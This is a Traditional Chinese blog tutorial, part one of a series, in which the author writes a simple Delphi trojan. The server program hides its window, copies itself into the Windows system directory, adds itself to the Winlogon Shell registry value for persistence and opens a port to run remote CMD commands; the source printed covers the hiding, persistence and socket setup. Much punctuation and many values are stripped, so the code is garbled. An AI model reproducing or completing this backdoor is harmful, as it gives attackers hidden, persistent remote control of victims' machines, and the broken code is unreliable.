Delphi下“培養”自己的簡單木馬[1]

    剛學電腦時很喜歡網絡安全看著高手們寫的一個又一個攻擊工具自己也總想努力去學好編程去寫屬於自己的程序學DELPHI快一年了感覺什麼都沒學到慚愧啊今晚突然想學著寫木馬於是手忙腳亂的敲了點代碼超簡單願自己能越寫越好！！！

　　程序跟傳統木馬一樣分服務端和客戶端運行服務端後會復制自身到SYSTEM目錄下面並在注冊表添加一自動行啟動項打開本機端口開始等待接收客戶端的數據當接收到客戶端數據時就當作CMD命令去執行最後把回顯傳送回客戶端客戶端很簡單跟服務端連接成功後輸入命令點執行正常的話可以收到服務端的執行結果了

　　源碼如下

////Serverpas//////////////

unit UtMain;

////////////////////////////////////
//////////BY lanyus////////////////
////////Email:greathjw@com////
////////QQ:////////////////
///部分代碼從網上收集///////////
////////////////////////////////

interface

uses
  Windows Messages SysUtils Variants Classes Graphics Controls Forms
  Dialogs Registry ScktComp StdCtrls;

type
  TFmMain = class(TForm)
    SS: TServerSocket;
    Memo: TMemo;
    procedure FormCreate(Sender: TObject);
    procedure SSAccept(Sender: TObject; Socket: TCustomWinSocket);
    procedure SSClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FmMain: TFmMain;
  reg:TRegistry;

implementation

{$R *dfm}

procedure TFmMainFormCreate(Sender: TObject);
var
sysdir:array[] of char;
begin
  ApplicationShowMainForm:=False;
  FmMainLeft:=;          //運行不顯示窗口
  reg:=TRegistryCreate;
  regRootKey:=HKEY_LOCAL_MACHINE;
  regOpenKey(SoftWare\Microsoft\Windows NT\CurrentVersion\Winlogontrue);
  if regReadString(Shell)<> Explorerexe Lysvrexe then
    regWriteString(ShellExplorerexe Lysvrexe);   //建立開機啟動項
  regFree;
  GetSystemDirectory(sysdir);
  if not FileExists(sysdir+\Lysvrexe) then
    copyfile(Pchar(ApplicationexeName)pchar(sysdir+\Lysvrexe)true);

  SSPort:=;
  try
    SSActive:=True;
  except
  end;
end;

[]  []  

From:http://tw.wingwit.com/Article/program/Delphi/201311/11129.html